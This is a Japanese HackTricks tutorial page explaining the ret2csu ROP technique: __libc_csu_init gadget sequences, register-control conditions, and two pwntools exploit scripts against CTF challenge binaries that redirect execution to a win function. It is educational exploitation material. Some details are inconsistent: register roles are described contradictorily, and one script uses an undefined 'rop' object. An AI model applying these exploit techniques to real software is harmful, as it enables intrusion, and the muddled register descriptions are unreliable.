Ret2csu

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

ret2csuは、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するためのガジェットが見つからない場合に使用されるハッキングテクニックです。

プログラムが特定のライブラリ(例:libc)を使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に__libc_csu_initと呼ばれる1つの隠れた宝石として機能するものがあります。

__libc_csu_init内のマジックガジェット

**__libc_csu_init**には、強調すべき2つの命令シーケンス(ガジェット)があります:

  1. 最初のシーケンスでは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定できます。これらは、後で使用する数値やアドレスを格納できるスロットのようなものです。

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

このガジェットを使用すると、スタックから値をポップしてそれらをレジスタで制御できます。

  1. 2番目のシーケンスでは、設定した値を使用して次のことを行います:

  • 他のレジスタに特定の値を移動して、それらを関数のパラメータとして使用できるようにします。

  • r15とrbxの値を足し合わせて、その結果にrbxを8倍して決定される場所にコールを実行します。

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. もしかしたら、そこに書き込むアドレスがわからず、ret 命令が必要になるかもしれません。2番目のガジェットも ret で終わりますが、それに到達するためにはいくつかの条件を満たす必要があります。

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

以下は条件です:

  • [r12 + rbx*8] は、呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがない場合やPIEがない場合は、単に _init 関数を使用できます)。

  • もし _init0x400560 にある場合、GEFを使用してそれに対するメモリ内のポインタを検索し、[r12 + rbx*8] がそのポインタを持つアドレスになるようにします。

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbprbx はジャンプを回避するために同じ値を持たなければならない

  • 考慮すべき省略されたポップがいくつかある

RDI と RSI

ret2csu ガジェットから rdirsi を制御する別の方法は、特定のオフセットにアクセスすることです:

詳細については、このページをチェックしてください:

pageBROP - Blind Return Oriented Programming

コールの使用

システムコールを行い、write() のような関数を呼び出したいとしますが、rdxrsi レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。

ここで ret2csu が登場します:

  1. レジスタの設定: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に格納します。

  2. 2番目のガジェットの使用: これらのレジスタが設定されたら、2番目のガジェットを使用します。これにより、選択した値を rdxrsi に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、r15rbx を制御することで、計算および [r15 + rbx*8] に配置されるアドレスにある関数をプログラムが呼び出すことができます。

このテクニックを使用して説明した例 があり、それに使用された最終的なエクスプロイトは次のとおりです:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

前のエクスプロイトは**RCE**を行うためではなく、単にwinという関数を呼び出すことを意図しています(winのアドレスをstdinから取得し、ROPチェーン内のgetsを呼び出してr15に格納します)。3番目の引数に値0xdeadbeefcafed00dを指定しています。

呼び出しをバイパスしてretに到達する

次のエクスプロイトは、このページから抽出されました。ここではret2csuが使用されていますが、呼び出しではなく、比較をバイパスして呼び出し後のretに到達しています。

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

なぜ直接libcを使用しないのですか?

通常、これらのケースはret2plt + ret2libにも脆弱ですが、時にはlibcで直接見つけることができるガジェットでは簡単に制御できないパラメータをさらに制御する必要があることがあります。たとえば、write() 関数は3つのパラメータが必要であり、これらを直接設定するためのガジェットを見つけることができないことがあります。

Last updated